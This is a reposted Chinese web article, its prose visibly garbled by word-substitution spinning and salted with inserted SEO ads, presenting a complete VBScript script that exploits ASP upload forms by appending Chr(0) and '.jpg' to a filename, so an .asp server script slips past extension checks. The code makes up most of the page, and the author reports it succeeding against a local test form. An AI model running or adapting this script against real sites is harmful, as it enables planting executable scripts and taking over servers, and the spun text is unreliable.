News-SHOW

了解我们这个行业也了解我们!

ASP上传漏洞之利用CHR(0)绕过扩展名检测脚本

时间:2012-11-26 00:18来源:网络整理 作者:采集侠 点击:

本日Demon 提到了这个题目,正好想到之前看到的一篇文章。
 


复制代码 代码如下:


Option Explicit

Function file_get_contents(filename)
Dim fso, f
Set fso = WSH.CreateObject("Scripting.FilesystemObject")
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
End Function

' 代码修改自
Class FileUploadAttack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName

Private Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
"WinHttp.WinHttpRequest.5.1")
End Sub

Private Sub Class_Terminate()
Set m_objWinHttp = Nothing
End Sub

Public Sub setUrl(url)
m_strUrl = url
End Sub

Public Sub setFieldName(name)
m_strFieldName = name
End Sub

'Infrormations In form field header.
Function mpFields(FieldName, FileName, ContentType)
Dim MPTemplate 'template For multipart header
MPTemplate = "Content-Disposition: form-data;{field}"";" + _
" filename=""{file}""" + vbCrLf + _
"Content-Type: {ct}" + vbCrLf + vbCrLf
Dim Out
Out = Replace(MPTemplate, "{field}", FieldName)
Out = Replace(Out, "{file}", FileName)
mpFields = Replace(Out, "{ct}", ContentType)
End Function
'Converts OLE string To multibyte string
Function StringToMB(S)
Dim I, B
For I = 1 To Len(S)
B = B & ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function

'Build multipart/form-data document with file contents And header info
Function BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Dim FormData, Pre, Po
Const ContentType = "application/upload"

'The two parts around file contents In the multipart-form data.
Pre = "--" + Boundary + vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + "--" + Boundary + "--" + vbCrLf

'Build form data using recordset binary field
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject("ADODB.Recordset")
RS.Fields.Append "b", adLongVarBinary, _
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'Convert Pre string value To a binary data
LenData = Len(Pre)
RS("b").AppendChunk (StringToMB(Pre) & ChrB(0))
Pre = RS("b").GetChunk(LenData)
RS("b") = ""

'Convert Po string value To a binary data
LenData = Len(Po)
RS("b").AppendChunk (StringToMB(Po) & ChrB(0))
Po = RS("b").GetChunk(LenData)
RS("b") = ""

'Join Pre + FileContents + Po binary data
RS("b").AppendChunk (Pre)
RS("b").AppendChunk (FileContents)
RS("b").AppendChunk (Po)
RS.Update
FormData = RS("b")
RS.Close
BuildFormData = FormData
End Function


Public Function sendFile(fileName)
Const Boundary = "---------------------------0123456789012"
m_objWinHttp.Open "POST", m_strUrl, False
m_objWinHttp.setRequestHeader "Content-Type", _
"multipart/form-data; boundary=" + Boundary

Dim FileContents, FormData
'Get source file As a binary data.
FileContents = file_get_contents(FileName)

' 下面结构了恶意文件扩展名Chr(0) & .jpg
'Build multipart/form-data document
FormData = BuildFormData(FileContents, Boundary, _
FileName & Chr(0) & ".jpg", m_strFieldName)

m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
End Function

Public Function getText()
getText = m_objWinHttp.ResponseText
End Function
End Class

Function VBMain()
VBMain = 0

Dim fileUpload
Set fileUpload = New FileUploadAttack
' 必要修改下面内容为吻合内容
' 上传url
fileUpload.setUrl "http://localhost/upload/uploadfile.asp"
fileUpload.setFieldName "filepath" ' 上传表单框的name
' 需上传文件路径
If fileUpload.sendFile("E:\projects\asp\index.asp")=200 Then
MsgBox "上传乐成" & fileUpload.getText()
Else
MsgBox "失败"
End If
Set fileUpload = Nothing
End Function

Call WScript.Quit(VBMain())


上传成果是任意在网上找的一个简朴上传ASP文件,然后插手我在文章中《ASP/VBScript中CHR(0)的由来以及带来的安详题目》所述的GetFileExtensionName判定扩展名是否是jpg。

测试功效是:手动上传asp,失败;操作上述进攻剧本上传asp文件,乐成!在上传目次中确实是asp文件,通过赏识器URL也能会见这个asp文件,只是稀疏的是表现一片空缺,我这里是IIS 7,莫非是IIS版本题目,或者是file_get_contents应该返回文件的二进制流?好了,这个题目先搁在这儿,尚有其他事,先闪了。

全部尝试代码包,在这里upload.zip(代码BUG参考下面更新声名)下载。

2011年12月25日更新

按照各人反馈的上传文件酿成Unicode Little Endian编码题目,起首歉仄的是其时确实偷懒了,首要代码参考的老外的,并且老外声名白一下GetFile这个函数获取文件二进制数据,没找到这个函数实现,也懒得去弄二进制读取,直接搞了个file_get_contents获取文本数据,究竟证明这样确实存在题目,下面我把调停法子声名一下吧,照旧偷懒一下,东台网络公司,直接在现有的基本大将文本数据转换为二进制数据。行使ADODB.Stream组件,网站制作东台网站建设,函数如下:

复制代码 代码如下:


' 将指定charset的字符串str转换为二进制
Function strtobin(str, charset)
With WSH.CreateObject("ADODB.Stream")
.Type = 2
.Mode = 3
.Open
.Charset = charset
.WriteText str
.Flush
.Position = 0
.Type = 1

strtobin = .Read()
.Close
End With
End Function


然后将上述代码的第106行改成下面这样(以ASCII读取文本):

复制代码 代码如下: